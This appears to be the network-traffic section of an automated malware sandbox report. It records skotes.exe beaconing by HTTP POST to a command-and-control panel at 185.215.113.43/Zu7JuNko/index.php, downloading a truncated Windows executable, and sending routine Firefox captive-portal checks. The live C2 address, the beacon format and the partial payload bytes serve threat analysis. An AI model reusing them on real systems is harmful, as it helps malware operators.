Nov 20, 2024 08:11:00.655167103 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:00 GMT Content-Type: application/octet-stream Content-Length: 2770944 Last-Modified: Wed, 20 Nov 2024 06:30:18 GMT Connection: keep-alive ETag: "673d81fa-2a4800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 0f 64 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +d`Ui` @ @.rsrc`2@.idata 8@oxnuddjg):@oawapqis "@.taggant@"&@
Nov 20, 2024 08:11:00.655184031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:11:00.655194998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:11:00.655206919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:11:00.655219078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:11:00.655230999 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:11:00.655241966 CET	744	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:11:00.655251980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:11:00.655284882 CET	1236	IN	Data Raw: 25 60 cf ca 44 74 48 b8 14 9a e6 19 4b cd db 51 7b 17 97 b1 18 42 6c 36 4c 4a d5 de d6 84 ea 7f e3 0b ca 8e 47 eb 28 72 a8 74 85 85 f2 7b fa c2 44 71 92 36 f5 fb da 2e a3 8f ce 3c b3 59 26 19 bd 89 96 96 2e b5 4e dc b5 ef cf 00 2e 80 28 85 2a 31 Data Ascii: %`DtHKQ{Bl6LJG(rt{Dq6.<Y&.N.(1)sa$CT!<@bujsM1-h}Y)"}VSh/&AYo)<X);(xOl~&3Ra/&7Y'`:4*n%ZJd[f'o:5N
Nov 20, 2024 08:11:00.655297995 CET	1236	IN	Data Raw: ba 4e bd c2 53 0e e6 33 e9 9f 0c 6c 8e 4a 92 d5 e7 69 97 9d b6 3c a1 79 0d 80 bf 4b b1 59 f5 95 d8 59 9e c1 b0 da e4 e4 21 78 b8 94 c4 34 c3 ba 6a 67 cd 83 4f 3d 22 a5 e5 f4 e2 42 6f e7 a2 b7 28 72 8d 13 36 4c cd 57 02 7a d5 59 33 5d d4 03 e7 af Data Ascii: NS3lJi<yKYY!x4jgO="Bo(r6LWzY3]s4G-\86z0S"h9TGFB4X87/Z\T}#lI1W,h=n\|T/0Wfp9S@(WvQ:(0GXTW}+V+DB#e
Nov 20, 2024 08:11:00.660268068 CET	1236	IN	Data Raw: b5 04 fa d3 f5 38 44 08 0f 44 b3 70 64 58 a5 9e bc 6b a6 b5 b7 55 49 14 f4 4a 1a 19 16 f8 75 54 12 71 c7 73 19 9c ca 95 23 45 1e e2 52 2d 47 4e da 12 24 78 c7 72 cb bf c2 71 18 8a 0a d2 67 51 33 07 29 45 17 77 92 09 b3 34 fc 34 7d 50 86 94 3b 69 Data Ascii: 8DDpdXkUIJuTqs#ER-GN$xrqgQ3)Ew44}P;i5K'<gbb/,X_#i:23K+^I(TK4=Cx2Sd5<\x9@gGS%H~F<rGC W:t&&Z)D![\|BMwI2Hi'W1Ieh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50199	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:59.971517086 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:11:00.666974068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50200	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:02.584739923 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:11:03.301978111 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50201	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:04.874406099 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:11:05.567609072 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50202	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:08.230706930 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:11:09.171176910 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 20, 2024 08:11:09.172184944 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50205	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:10.967586040 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:11:11.673155069 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	50211	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:13.138710022 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:13.586514950 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74330 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:13.829865932 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:13.924069881 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74330 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:14.147795916 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74330 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:14.182777882 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:14.276949883 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74331 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:14.383035898 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:14.477961063 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74331 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:14.501252890 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:14.595540047 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74331 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:14.637213945 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:14.731385946 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74331 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:15.237087965 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:15.333435059 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74332 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:15.828181982 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:15.922446966 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74332 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:16.807030916 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:16.901011944 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74333 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:17.294015884 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:17.388442993 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74334 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:20.206166029 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:11:20.300507069 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74337 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:11:30.441119909 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50218	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:13.759577036 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:11:14.449765921 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	50220	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:13.768532991 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	50222	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
